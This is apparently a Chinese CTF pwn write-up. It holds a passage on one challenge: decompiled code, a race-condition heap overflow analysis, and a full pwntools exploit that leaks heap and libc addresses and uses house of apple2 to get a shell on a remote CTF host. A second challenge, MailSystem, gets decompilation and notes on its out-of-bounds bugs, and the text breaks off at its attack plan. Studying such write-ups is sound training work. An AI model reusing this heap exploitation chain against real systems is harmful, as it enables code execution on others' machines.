 int v4; // [rsp+1Ch] [rbp-2B4h]
 time_t timer; // [rsp+20h] [rbp-2B0h] BYREF
 struct tm *tp; // [rsp+28h] [rbp-2A8h]
 FILE *stream; // [rsp+30h] [rbp-2A0h]
 size_t v8; // [rsp+38h] [rbp-298h]
 char filename[64]; // [rsp+40h] [rbp-290h] BYREF
 char s[64]; // [rsp+80h] [rbp-250h] BYREF
 char ptr[520]; // [rsp+C0h] [rbp-210h] BYREF
 unsigned __int64 v12; // [rsp+2C8h] [rbp-8h]

 v12 = __readfsqword(0x28u);
 time(&timer);
 tp = localtime(&timer);
 strftime(s, 0x40u, "%Y-%m-%d %H:%M:%S", tp);
 v3 = strlen(s);
 v4 = v3 + strlen(a2) + 3;
 memset(ptr, 0, 0x200u);
 snprintf(filename, 0x40u, "/tmp/task_%d_log", a1);
 stream = fopen(filename, "a");
 if ( stream )
 {
 snprintf(ptr, v4 + 1, "%s: %s\n", s, a2);
 v8 = fwrite(ptr, 1u, v4, stream);
 fclose(stream);
 }
 sleep(4u);
 return v12 - __readfsqword(0x28u);
}

阻塞 4 秒，为上面的条件竞争创造了有利的条件

结构体分析

strdup 的存在大大增加了堆环境的复杂性

packet 有关的所有堆内存都会在数据处理完成后释放，每一轮循环开始时申请，结束时释放

其余的堆内存只有 user-info 会在 deregister 时被释放

漏洞分析

最重要的漏洞便是上面提到的条件竞争产生的堆溢出，利用过程为：

首先 register 15 个用户，让 allocated_task 达到上限
对用户 A 进行 submit_task
在 do_task 处于 memcpy 的阻塞状态时，把 A deregister 掉，然后再 register 用户 B ，使用户 B 的 user-info chunk 刚好是被 free 掉的用户 A 的 user-info chunk ，此时由于 allocated_task 已经达到上限且不会回退，B 的 task 还是原来 A 的 task ，同时 B 的 running-tag 被重置为 0 ，所以允许 B 再次 submit_task 去提交更大的 content
让 B 提交更大的 content 等 A 的 task 阻塞结束后，触发 memcpy ，使得旧的 content(strdup) 的内容被新的 content(strdup) 覆写，并产生溢出，溢出位置在旧的 content(strdup) 上，并且有充足的溢出长度

在溢出过程中，我们需要去伪造一些指针，这就需要泄露堆地址，这一点是比较容易的：注意到 token 的 chunk 大小和 user-info 一致，我们只要在一轮注册中安排 token 被分配到被释放的 user-info chunk 上，就可以通过 task 泄露堆地址

密切关注可能的 0x30 大小的 chunk ，我们发现在一次 register->login->deregister->register->login 路径中，由于提交的数据包包含 token ，一共会申请两个大小为 0x30 的 chunk 并释放， user-info 先释放， packet 中的 token 的 value 后释放，那么在第二个 register 中，由于 user-info 先申请， token 后申请，根据 tcache 的 LIFO 特性，旧的 user-info 会被分配给 token ，最后的 login 的 printf 就会把堆地址泄露出来

然后是 libc 的泄露，需要用到上面的堆溢出

经过精心（xia meng）布局堆的结构，我们使得溢出的时候能够轻易够到某个 user-info chunk 然后劫持它的 token 指针，指向一个写了 libc 相关地址的位置，然后用 login 读出即可

最后我们还可以注意到在 submit_task 时会往 task + 0x20 上写一个可控的堆地址 (content) ，这意味着我们可以劫持 task 去实现任意地址写可控堆地址，然后就有机会打 house of apple2 啦

总结一下路径

1

leak heap -> overflow to leak libc -> hijack task ptr to write house of apple2

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './main_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

def safe_linking(pos, ptr):
 return (pos >> 12) ^ ptr

def transpld(payload):
 return bytes([b ^ 0x3f for b in payload])

def sendpacket(packet):
 data = b''
 for key, val in packet.items():
 data += key + b':' + val + b'\n'
 s(data)
 
def register(name, pwd):
 sendpacket({
 b'command': b'register',
 b'username': name.encode(),
 b'password': pwd.encode()
 })

def login(name, pwd):
 sendpacket({
 b'command': b'login',
 b'username': name.encode(),
 b'password': pwd.encode()
 })

def submit_task(token, content):
 sendpacket({
 b'command': b'submit_task',
 b'user_token': token,
 b'task_content': transpld(content)
 })

def deregister(token):
 sendpacket({
 b'command': b'deregister',
 b'user_token': token
 })

register('QwQ', 'QwQ') # leak heap
login('QwQ', 'QwQ')
ru(b'token:')
qwqtoken = r(32)
deregister(qwqtoken)
register('QwQ', 'QwQ')
login('QwQ', 'QwQ')
ru(b'token:')
qwqtoken = r(32)
heap = uu64(r(6)) - 0x4b0
leak('heap')

for i in range(13): # heap feng shui
 register(str(i), str(i))
sendpacket({
 b'command': b'login',
 b'a': b'a' * 0x30,
 b'b': b'a' * 0x30,
 b'c': b'a' * 0x30,
 b'd': b'a' * 0x30
})
register('OwO', 'OwO')
login('OwO', 'OwO')
ru(b'token:')
owotoken = r(32)

fake_heap = flat({ # race condition and heap overflow
 0x8: 0x41,
 0x10: safe_linking(heap + 0x1000, heap + 0x1460),
 0x48: 0x31,
 0x50: heap + 0x1640,
 0x58: heap + 0x3f0,
 0x60: heap + 0x1770,
}, filler = b'\x00')
payload = b'B' * 0x30 + fake_heap + b'\x00'
submit_task(owotoken, b'A' * 0x30)
deregister(owotoken)
register('www', 'w' * 0x20)
login('www', 'w' * 0x20)
ru(b'token:')
token = r(32)
submit_task(token, payload)
sleep(4)

login('www', 'w' * 0x20) # leak libc
ru(b'token:')
token = r(6)
libc.address = uu64(token) + 0x9c8
leak('libc.address')
target = libc.sym['stdout'] - 0x20

fake_heap = flat({ # race condition and heap overflow
 0x8: 0x41,
 0x48: 0x41,
 0x50: safe_linking(heap + 0x1000, heap + 0x1420),
 0x88: 0x31,
 0x90: heap + 0x15f0,
 0x98: heap + 0x1b60,
 0xa0: heap + 0x1b80,
 0xb0: target,
}, filler = b'\x00')
payload = b'B' * 0x30 + fake_heap + b'\x31'
submit_task(token, b'A' * 0x30)
deregister(token)
register('mmm', 'mmm')
login('mmm', 'mmm')
ru(b'token:')
token = r(32)
submit_task(token, payload)
sleep(4)

fake_io_base = heap + 0x1fe0 # house of apple2
fake_io = flat({
 0x0: b' sh;',
 0x8: 0,
 0x20: 0,
 0x68: libc.sym['system'],
 0x88: fake_io_base,
 0xA0: fake_io_base - 0x10, # __rdx__
 0xD0: fake_io_base,
 0xD8: libc.sym['_IO_wfile_jumps'] - 0x20,
}, filler=b"\x00")
submit_task(token, fake_io)
sleep(5)

sendpacket({ # tricker
 b'a': b'a',
})

itr()

CCSSSC-2026-pwn 题解

Wed, 25 Mar 2026 14:04:00 +0000

初赛

MailSystem

唯一的 pwn

checksec

1
2
3
4
5
6
7
8


[*] '/home/kali/Desktop/attachment/pwn'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled

保护全开

IDA

程序比较复杂，需要耐心分析，是一个简单的邮件系统

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
 int v3; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v4; // [rsp+8h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 init();
 while ( 1 )
 {
 while ( 1 )
 {
 menu(a1, a2);
 v3 = 0;
 a2 = (char **)&v3;
 a1 = "%d";
 if ( (unsigned int)__isoc99_scanf("%d", &v3) == 1 )
 break;
 while ( getchar() != 10 )
 ;
 a1 = "Invalid input!";
 puts("Invalid input!");
 }
 if ( v3 == 3 )
 {
 puts("Goodbye!");
 exit(0);
 }
 if ( v3 > 3 )
 {
LABEL_13:
 a1 = "Invalid choice!";
 puts("Invalid choice!");
 }
 else if ( v3 == 1 )
 {
 login();
 }
 else
 {
 if ( v3 != 2 )
 goto LABEL_13;
 register();
 }
 }
}

1
2
3
4
5
6
7
8


int menu()
{
 puts("Welcome to the mail system!");
 puts("1. login account");
 puts("2. register account");
 puts("3. exit");
 return printf("Your choice: ");
}

能注册和登录，可以正常退出

init

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


int init()
{
 char *v0; // rax
 int i; // [rsp+4h] [rbp-Ch]
 FILE *stream; // [rsp+8h] [rbp-8h]

 setvbuf(stdin, 0, 2, 0);
 setvbuf(stdout, 0, 2, 0);
 setvbuf(stderr, 0, 2, 0);
 seccomp();
 for ( i = 0; i <= 11; ++i )
 this_is_time[34 * i] = time(0);
 this_is_admin = malloc(0x400u);
 memset(this_is_admin, 0, 0x400u);
 if ( !this_is_admin )
 {
 puts("malloc error");
 exit(-1);
 }
 v0 = (char *)this_is_admin + 50;
 *(_DWORD *)((char *)this_is_admin + 50) = 'imda';
 *((_WORD *)v0 + 2) = 'n';
 stream = fopen("/dev/urandom", "rb");
 if ( !stream )
 {
 puts("fopen error");
 exit(-1);
 }
 fread((char *)this_is_admin + 0x68, 1u, 0x10u, stream);
 return fclose(stream);
}

初始化管理员账号，管理员密码随机

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


unsigned __int64 login()
{
 int i; // [rsp+Ch] [rbp-64h]
 char *v2; // [rsp+18h] [rbp-58h]
 char s2[32]; // [rsp+20h] [rbp-50h] BYREF
 char v4[40]; // [rsp+40h] [rbp-30h] BYREF
 unsigned __int64 v5; // [rsp+68h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 printf("Input your name: ");
 __isoc99_scanf("%31s", s2);
 printf("Input your password: ");
 __isoc99_scanf("%31s", v4);
 if ( (unsigned int)admin_check(s2, v4) )
 {
 admin_panel();
 }
 else
 {
 for ( i = 0; i <= 11; ++i )
 {
 if ( user_table[i] )
 {
 v2 = (char *)(user_table[i] + 704LL);
 if ( !strcmp((const char *)(user_table[i] + 664LL), s2) && !strcmp(v2, v4) )
 {
 printf("Welcome back, %s!\n", s2);
 putchar(10);
 mail_panel(user_table[i]);
 return v5 - __readfsqword(0x28u);
 }
 }
 }
 puts("Login failed! Invalid username or password.");
 putchar(10);
 }
 return v5 - __readfsqword(0x28u);
}

登录逻辑

register

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


unsigned __int64 register()
{
 int v1; // [rsp+Ch] [rbp-54h]
 char s1[32]; // [rsp+10h] [rbp-50h] BYREF
 char src[40]; // [rsp+30h] [rbp-30h] BYREF
 unsigned __int64 v4; // [rsp+58h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 v1 = add_user((__int64)user_table);
 if ( v1 != -1 )
 {
 printf("Input your name: ");
 __isoc99_scanf("%31s", s1);
 if ( !strcmp(s1, "admin") )
 {
 puts("Username illegal!");
 putchar(10);
 free((void *)user_table[v1]);
 user_table[v1] = 0;
 }
 else
 {
 strcpy((char *)(user_table[v1] + 0x298LL), s1);
 printf("Input your password: ");
 __isoc99_scanf("%31s", src);
 strcpy((char *)(user_table[v1] + 0x2C0LL), src);
 printf("Registered user: %s\n", s1);
 puts("Registration successful!");
 putchar(10);
 }
 }
 return v4 - __readfsqword(0x28u);
}

注册逻辑

admin_check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


__int64 __fastcall admin_check(const char *a1, const char *a2)
{
 if ( strcmp(a1, (const char *)this_is_admin + 0x32) )
 return 0;
 if ( !strncmp(a2, (const char *)this_is_admin + 0x68, 0x10u) )
 {
 puts("Welcome admin!");
 return 1;
 }
 else
 {
 puts("Wrong password for admin!");
 return 0;
 }
}

检测管理员账号

admin_panel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


unsigned __int64 admin_panel()
{
 int v1; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v2; // [rsp+8h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 while ( 1 )
 {
 while ( 1 )
 {
 puts("=== Admin Menu ===");
 puts("1. Change user info");
 puts("2. Delete user");
 puts("3. Mail to user");
 puts("4. Mail user to user");
 puts("5. Logout");
 printf("Your choice: ");
 v1 = 0;
 if ( (unsigned int)__isoc99_scanf("%d", &v1) == 1 )
 break;
 while ( getchar() != 10 )
 ;
 puts("Invalid input!");
 putchar(10);
 }
 switch ( v1 )
 {
 case 1:
 change_user_info();
 break;
 case 2:
 delete_user();
 break;
 case 3:
 mail_to_user();
 break;
 case 4:
 mail_user_to_user();
 break;
 case 5:
 puts("Logging out as admin...");
 putchar(10);
 return v2 - __readfsqword(0x28u);
 default:
 puts("Invalid choice!");
 putchar(10);
 break;
 }
 }
}

管理员面板

mail_panel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


unsigned __int64 __fastcall mail_panel(size_t *a1)
{
 int v2; // [rsp+10h] [rbp-10h] BYREF
 int v3; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 while ( 1 )
 {
 while ( 1 )
 {
 mail_menu();
 v2 = 0;
 if ( (unsigned int)__isoc99_scanf("%d", &v2) == 1 )
 break;
 while ( getchar() != 10 )
 ;
 puts("Invalid input!");
 putchar(10);
 }
 if ( v2 == 4 )
 break;
 if ( v2 > 4 )
 goto LABEL_16;
 switch ( v2 )
 {
 case 3:
 v3 = send_mail(a1);
 if ( v3 == 1 )
 return v4 - __readfsqword(0x28u);
 break;
 case 1:
 write_mail((__int64)a1);
 break;
 case 2:
 read_mail((__int64)a1);
 break;
 default:
LABEL_16:
 puts("Invalid choice!");
 putchar(10);
 break;
 }
 }
 puts("Logging out...");
 putchar(10);
 return v4 - __readfsqword(0x28u);
}

用户面板

add_user

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


__int64 __fastcall add_user(__int64 a1)
{
 int v2; // [rsp+14h] [rbp-Ch]
 int i; // [rsp+18h] [rbp-8h]
 int j; // [rsp+1Ch] [rbp-4h]

 v2 = 0;
 for ( i = 0; i <= 11; ++i )
 {
 if ( *(_QWORD *)(8LL * i + a1) && *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) )
 ++v2;
 }
 if ( v2 <= 7 )
 {
 for ( j = 0; ; ++j )
 {
 if ( j > 12 )
 return 0xFFFFFFFFLL;
 if ( !*(_QWORD *)(8LL * j + a1) || *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) != 1 )
 break;
 }
 *(_QWORD *)(8LL * j + a1) = malloc(0x410u);
 memset(*(void **)(8LL * j + a1), 0, 0x410u);
 if ( !*(_QWORD *)(8LL * j + a1) )
 {
 perror("malloc failed");
 exit(-1);
 }
 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x278LL) = j + 1;
 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) = 1;
 return (unsigned int)j;
 }
 else
 {
 puts("User full!");
 return 0xFFFFFFFFLL;
 }
}

添加用户，特定情况下存在正向越界写

mail_user_to_user

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118


unsigned __int64 mail_user_to_user()
{
 int v1; // [rsp+Ch] [rbp-34h] BYREF
 int v2; // [rsp+10h] [rbp-30h] BYREF
 int v3; // [rsp+14h] [rbp-2Ch] BYREF
 size_t n; // [rsp+18h] [rbp-28h]
 size_t v5; // [rsp+20h] [rbp-20h]
 void *v6; // [rsp+28h] [rbp-18h]
 void *src; // [rsp+30h] [rbp-10h]
 unsigned __int64 v8; // [rsp+38h] [rbp-8h]

 v8 = __readfsqword(0x28u);
 printf("Enter source user ID (whose mail to forward): (1-12) ");
 if ( (unsigned int)__isoc99_scanf("%d", &v1) != 1 )
 {
 puts("Invalid source user ID!");
 while ( getchar() != 10 )
 ;
 goto ret;
 }
 printf("Enter destination user ID (1-12): ");
 if ( (unsigned int)__isoc99_scanf("%d", &v2) != 1 )
 {
 puts("Invalid destination user ID!");
 while ( getchar() != 10 )
 ;
 goto ret;
 }
 if ( v1 > 12 )
 {
 puts("Source user ID out of range!");
 putchar(10);
 }
 else if ( user_table[v1 - 1] )
 {
 if ( v2 > 12 )
 {
 puts("Destination user ID out of range!");
 putchar(10);
 }
 else if ( user_table[v2 - 1] )
 {
 if ( !*(_QWORD *)(user_table[v2 - 1] + 0x308LL)
 || (printf("Warning: User %d already has unread mail. Overwrite? (y/n): ", v2),
 __isoc99_scanf(" %c", &v3),
 (_BYTE)v3 == 0x79)
 || (_BYTE)v3 == 0x59 )
 {
 if ( v1 > 12 )
 {
ret:
 putchar(10);
 return v8 - __readfsqword(0x28u);
 }
 puts("Which mail would you like to forward?");
 puts("1. User's draft");
 puts("2. User's inbox mail");
 printf("Your choice: ");
 if ( (unsigned int)__isoc99_scanf("%d", &v3) != 1 )
 {
 puts("Invalid input!");
 while ( getchar() != 10 )
 ;
 goto ret;
 }
 if ( v2 <= 12 )
 *(_QWORD *)(user_table[v2 - 1] + 0x308LL) = 1;
 if ( v3 == 1 )
 {
 if ( v2 <= 12 )
 {
 n = *(_QWORD *)(user_table[v1 - 1] + 0x100LL);
 if ( n > 0x100 )
 n = 256;
 src = (void *)(user_table[v1 - 1] + 0x110LL);
 memcpy((void *)user_table[v2 - 1], src, n);
 *(_QWORD *)(user_table[v2 - 1] + 0x210LL) = n;
 }
 }
 else
 {
 if ( v3 != 2 )
 {
 puts("Invalid choice!");
 putchar(10);
 return v8 - __readfsqword(0x28u);
 }
 if ( v2 <= 12 )
 {
 v5 = *(_QWORD *)(user_table[v1 - 1] + 0x210LL);
 if ( v5 > 0x100 )
 v5 = 0x100;
 v6 = (void *)user_table[v1 - 1];
 memcpy((void *)user_table[v2 - 1], v6, v5);
 *(_QWORD *)(user_table[v2 - 1] + 0x210LL) = v5;
 }
 }
 printf("Mail forwarded from index %d to index %d!\n", v1, v2);
 }
 else
 {
 puts("Forwarding cancelled.");
 putchar(10);
 }
 }
 else
 {
 printf("Destination user %d does not exist!\n", v2);
 putchar(10);
 }
 }
 else
 {
 printf("Source user %d does not exist!\n", v1);
 putchar(10);
 }
 return v8 - __readfsqword(0x28u);
}

管理员以某一用户名义发邮件给另一名用户，存在越界读写

mail_menu

1
2
3
4
5
6
7
8


int mail_menu()
{
 puts("1. Write mail");
 puts("2. Read mail");
 puts("3. Send mail");
 puts("4. Logout");
 return printf("Your choice: ");
}

用户菜单

write_mail

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


unsigned __int64 __fastcall write_mail(__int64 a1)
{
 int v2; // [rsp+18h] [rbp-118h] BYREF
 int v3; // [rsp+1Ch] [rbp-114h]
 _BYTE buf[264]; // [rsp+20h] [rbp-110h] BYREF
 unsigned __int64 v5; // [rsp+128h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 printf("How many bytes do you want to write? (1-%d): ", 256);
 if ( (unsigned int)__isoc99_scanf("%d", &v2) != 1 )
 {
 puts("Invalid input!");
 while ( getchar() != 10 )
 ;
LABEL_16:
 putchar(10);
 return v5 - __readfsqword(0x28u);
 }
 if ( v2 > 0 && v2 <= 256 )
 {
 printf("Write your mail content (max %d bytes):\n", v2);
 while ( getchar() != 10 )
 ;
 v3 = read(0, buf, v2);
 if ( v3 <= 0 )
 {
 puts("Failed to read input!");
 }
 else
 {
 memcpy((void *)(a1 + 0x110), buf, v3);
 *(_QWORD *)(a1 + 0x100) = v3;
 if ( v3 > 0xFF )
 *(_BYTE *)(a1 + 0x20F) = 0;
 else
 *(_BYTE *)(v3 + 0x110LL + a1) = 0;
 *(_QWORD *)(a1 + 0x310) = 1;
 puts("Draft saved!");
 }
 goto LABEL_16;
 }
 printf("Write size must be between 1 and %d bytes.\n", 256);
 putchar(10);
 return v5 - __readfsqword(0x28u);
}

写邮件

read_mail

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


unsigned __int64 __fastcall read_mail(__int64 a1)
{
 int v2; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 while ( 1 )
 {
 while ( 1 )
 {
 read_menu();
 if ( (unsigned int)__isoc99_scanf("%d") == 1 )
 break;
 while ( getchar() != 10 )
 ;
 puts("Invalid input!");
 }
 if ( v2 == 3 )
 break;
 if ( v2 > 3 )
 goto LABEL_17;
 if ( v2 == 1 )
 {
 if ( *(_QWORD *)(a1 + 0x310) )
 {
 puts("Your saved draft:");
 puts((const char *)(a1 + 0x110));
 putchar(10);
 }
 else
 {
 puts("No saved draft found.\n");
 }
 }
 else if ( v2 == 2 )
 {
 if ( *(_QWORD *)(a1 + 0x308) )
 {
 puts("Inbox (new mail):");
 puts((const char *)a1);
 *(_QWORD *)(a1 + 0x308) = 0;
 putchar(10);
 }
 else
 {
 puts("No new mail in inbox.\n");
 }
 }
 else
 {
LABEL_17:
 puts("Invalid choice!\n");
 }
 }
 putchar(10);
 return v3 - __readfsqword(0x28u);
}

读邮件

send_mail

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80


__int64 __fastcall send_mail(size_t *a1)
{
 char v2; // [rsp+1Bh] [rbp-25h] BYREF
 int v3; // [rsp+1Ch] [rbp-24h] BYREF
 size_t n; // [rsp+20h] [rbp-20h]
 size_t v5; // [rsp+28h] [rbp-18h]
 _QWORD *v6; // [rsp+30h] [rbp-10h]
 unsigned __int64 v7; // [rsp+38h] [rbp-8h]

 v7 = __readfsqword(0x28u);
 puts("Who do you want to send the mail to? (input user ID 1-12)");
 if ( (unsigned int)__isoc99_scanf("%d", &v3) == 1 )
 {
 if ( v3 > 0 && v3 <= 12 )
 {
 if ( user_table[v3 - 1] )
 {
 if ( a1[0x62] )
 {
 v5 = a1[0x4F];
 v6 = &this_is_time[34 * v5 - 34];
 ++*((_DWORD *)v6 + 2);
 if ( (unsigned int)secure_check(v5) )
 {
 return 1;
 }
 else if ( !*(_QWORD *)(user_table[v3 - 1] + 0x308LL)
 || (printf("Warning: User %d already has unread mail. Overwrite? (y/n): ", v3),
 __isoc99_scanf(" %c", &v2),
 v2 == 121)
 || v2 == 89 )
 {
 n = a1[32];
 if ( n > 0x100 )
 n = 256;
 *(_QWORD *)(user_table[v3 - 1] + 0x308LL) = 1;
 memcpy((void *)user_table[v3 - 1], a1 + 34, n);
 *(_QWORD *)(user_table[v3 - 1] + 0x210LL) = n;
 a1[98] = 0;
 printf("Mail sent to user %d!\n", v3);
 putchar(10);
 return 0;
 }
 else
 {
 puts("Mail sending cancelled.");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("No draft to send! Please write a mail first.");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("User does not exist!");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("Invalid user ID! Must be between 1 and 12.");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("Invalid input!");
 while ( getchar() != 10 )
 ;
 putchar(10);
 return 0;
 }
}

发送邮件

read_menu

1
2
3
4
5
6
7
8


int read_menu()
{
 puts("What would you like to read?");
 puts("1. My saved draft");
 puts("2. Inbox (mails sent to me)");
 puts("3. Back to main menu");
 return printf("Your choice: ");
}

读邮件面板

secure_check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


__int64 __fastcall secure_check(int a1)
{
 time_t v2; // [rsp+10h] [rbp-20h]
 time_t *v3; // [rsp+18h] [rbp-18h]
 _QWORD *v4; // [rsp+20h] [rbp-10h]
 FILE *stream; // [rsp+28h] [rbp-8h]

 v2 = time(0);
 v3 = &this_is_time[34 * a1 - 34];
 if ( v2 - *v3 > 10 || *((int *)v3 + 2) <= 4 )
 {
 if ( v2 - *v3 > 10 )
 {
 *((_DWORD *)v3 + 2) = 0;
 *v3 = v2;
 }
 return 0;
 }
 else
 {
 printf("\x1B[1;31;40m[SECURITY] Risk detected for user %d! Account banned.\x1B[0m\n", a1);
 if ( a1 > 0 && a1 <= 12 && user_table[a1 - 1] )
 {
 v4 = (_QWORD *)user_table[a1 - 1];
 v4[0x53] = 'lagelli';
 stream = fopen("/dev/urandom", "rb");
 if ( stream )
 {
 fread(v4 + 88, 1u, 0x10u, stream);
 fclose(stream);
 }
 v4[0x4F] = 0;
 puts("Account has been banned!");
 puts("Returning to login menu...\n");
 }
 return 1;
 }
}

安全检测，发送频率过高会封号

bss

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


.bss:0000000000007020 ; ===========================================================================
.bss:0000000000007020
.bss:0000000000007020 ; Segment type: Uninitialized
.bss:0000000000007020 ; Segment permissions: Read/Write
.bss:0000000000007020 _bss segment align_32 public 'BSS' use64
.bss:0000000000007020 assume cs:_bss
.bss:0000000000007020 ;org 7020h
.bss:0000000000007020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000007020 public stdout
.bss:0000000000007020 ; FILE *stdout
.bss:0000000000007020 stdout dq ? ; DATA XREF: LOAD:00000000000006A0↑o
.bss:0000000000007020 ; init+2A↑r
.bss:0000000000007020 ; Copy of shared data
.bss:0000000000007028 align 10h
.bss:0000000000007030 public stdin
.bss:0000000000007030 ; FILE *stdin
.bss:0000000000007030 stdin dq ? ; DATA XREF: LOAD:00000000000006D0↑o
.bss:0000000000007030 ; init+C↑r
.bss:0000000000007030 ; Copy of shared data
.bss:0000000000007038 align 20h
.bss:0000000000007040 public stderr
.bss:0000000000007040 ; FILE *stderr
.bss:0000000000007040 stderr dq ? ; DATA XREF: LOAD:0000000000000700↑o
.bss:0000000000007040 ; init+48↑r
.bss:0000000000007040 ; Copy of shared data
.bss:0000000000007048 byte_7048 db ? ; DATA XREF: sub_13E0+4↑r
.bss:0000000000007048 ; sub_13E0+2C↑w
.bss:0000000000007049 align 20h
.bss:0000000000007060 ; _QWORD user_table[12]
.bss:0000000000007060 user_table dq 0Ch dup(?) ; DATA XREF: secure_check+A7↑o
.bss:0000000000007060 ; secure_check+CB↑o ...
.bss:00000000000070C0 ; void *this_is_admin
.bss:00000000000070C0 this_is_admin dq ? ; DATA XREF: init+BC↑w
.bss:00000000000070C0 ; init+C3↑r ...
.bss:00000000000070C8 align 20h
.bss:00000000000070E0 ; _QWORD this_is_time[408]
.bss:00000000000070E0 this_is_time dq 198h dup(?) ; DATA XREF: secure_check+34↑o
.bss:00000000000070E0 ; init+9D↑o ...
.bss:00000000000070E0 _bss ends
.bss:00000000000070E0

bss 结构

攻击思路

难点是梳理程序流程和内存的结构以及识别漏洞点

管理员内存结构

管理员内存大小为 0x400

1
2


